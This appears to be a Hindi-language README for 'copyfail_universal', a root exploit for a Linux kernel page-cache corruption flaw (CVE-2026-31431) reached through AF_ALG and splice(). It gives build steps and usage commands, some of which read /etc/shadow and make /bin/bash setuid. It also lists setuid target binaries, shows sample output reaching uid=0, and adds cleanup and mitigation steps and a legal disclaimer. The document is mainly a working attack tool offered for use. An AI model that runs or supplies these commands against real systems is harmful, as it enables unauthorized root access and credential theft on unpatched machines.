
CVE-2026-31431 के लिए एक्सप्लॉइट, जो Linux कर्नेल पेज कैश भ्रष्टाचार भेद्यता है, जो AF_ALG और splice() चेन के माध्यम से इंटरैक्टिव रूट शेल और गैर-इंटरैक्टिव कमांड निष्पादन प्रदान करता है।
Linux कर्नेल पेज कैश संदूषण शोषण उपकरण, गैर-इंटरैक्टिव कमांड निष्पादन का समर्थन करता है।
CVE-2026-31431 Linux कर्नेल में एक तार्किक दोष भेद्यता है, जो authencesn AEAD एल्गोरिदम कार्यान्वयन में मौजूद है। AF_ALG और splice() सिस्टम कॉल श्रृंखला के माध्यम से, हमलावर किसी भी पठनीय फ़ाइल के पेज कैश में 4 बाइट डेटा लिख सकता है।
प्रभावित दायरा:
भेद्यता विशेषताएँ:
.
├── copyfail_universal.c # मुख्य POC स्रोत कोड (स्टैटिक कंपाइल, कोई libc निर्भरता नहीं)
├── copyfail_universal # संकलित बाइनरी फ़ाइल
├── run_cmd.sh # गैर-इंटरैक्टिव निष्पादन रैपर स्क्रिप्ट
├── Makefile # संकलन स्क्रिप्ट
└── README.md # यह दस्तावेज़
# विधि 1: gcc और ld का उपयोग करना
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# विधि 2: Makefile का उपयोग करना
make
./copyfail_universal
# विधि 1: रैपर स्क्रिप्ट का उपयोग करना (अनुशंसित)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# विधि 2: पाइप के माध्यम से
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# विधि 3: पर्यावरण चर का उपयोग करना
CMD='whoami' ./copyfail_universal
# डिफ़ॉल्ट लक्ष्य /usr/bin/su है
# स्रोत कोड में path चर को संशोधित करके अन्य लक्ष्य निर्दिष्ट किए जा सकते हैं
# सामान्य उपलब्ध लक्ष्य:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
भेद्यता केवल पेज कैश को संशोधित करती है, डिस्क फ़ाइलों को नहीं। निम्न कमांड निष्पादित करके पुनर्प्राप्ति की जा सकती है:
sync; echo 3 > /proc/sys/vm/drop_caches
run_cmd.sh स्क्रिप्ट में स्वचालित पुनर्प्राप्ति कार्यक्षमता पहले से निर्मित है।
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 कॉपी फेल एक्सप्लॉइट
[*] लक्ष्य: /usr/bin/su
[*] मोड: इंटरैक्टिव शेल
[*] पेलोड आकार: 112 बाइट्स
[*] पेज कैश संदूषित किया जा रहा है...
[+] पूर्ण! su निष्पादित किया जा रहा है...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
सिस्टम पर सभी setuid प्रोग्राम खोजें:
find / -perm -4000 -user root -type f 2>/dev/null
कर्नेल अपडेट करें - पैच a664bf3d603d युक्त कर्नेल संस्करण में अपग्रेड करें
अस्थायी शमन - algif_aead मॉड्यूल अक्षम करें:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
कंटेनर वातावरण - AF_ALG सॉकेट निर्माण को रोकने के लिए seccomp का उपयोग करें
authencesn लक्ष्य बफर को अस्थायी भंडारण के रूप में उपयोग करता है, सीमा से बाहर 4 बाइट लिखता हैsplice() के माध्यम से पेज कैश पृष्ठों को क्रिप्टो सबसिस्टम में पास करनायह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है। अनधिकृत सिस्टम पर हमला करने के लिए इस उपकरण का उपयोग करना अवैध है। उपयोगकर्ता को सभी कानूनी जिम्मेदारी स्वयं वहन करनी होगी।
| प्रोग्राम | पथ | उपलब्धता |
|---|
| su | /usr/bin/su | ✅ डिफ़ॉल्ट |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |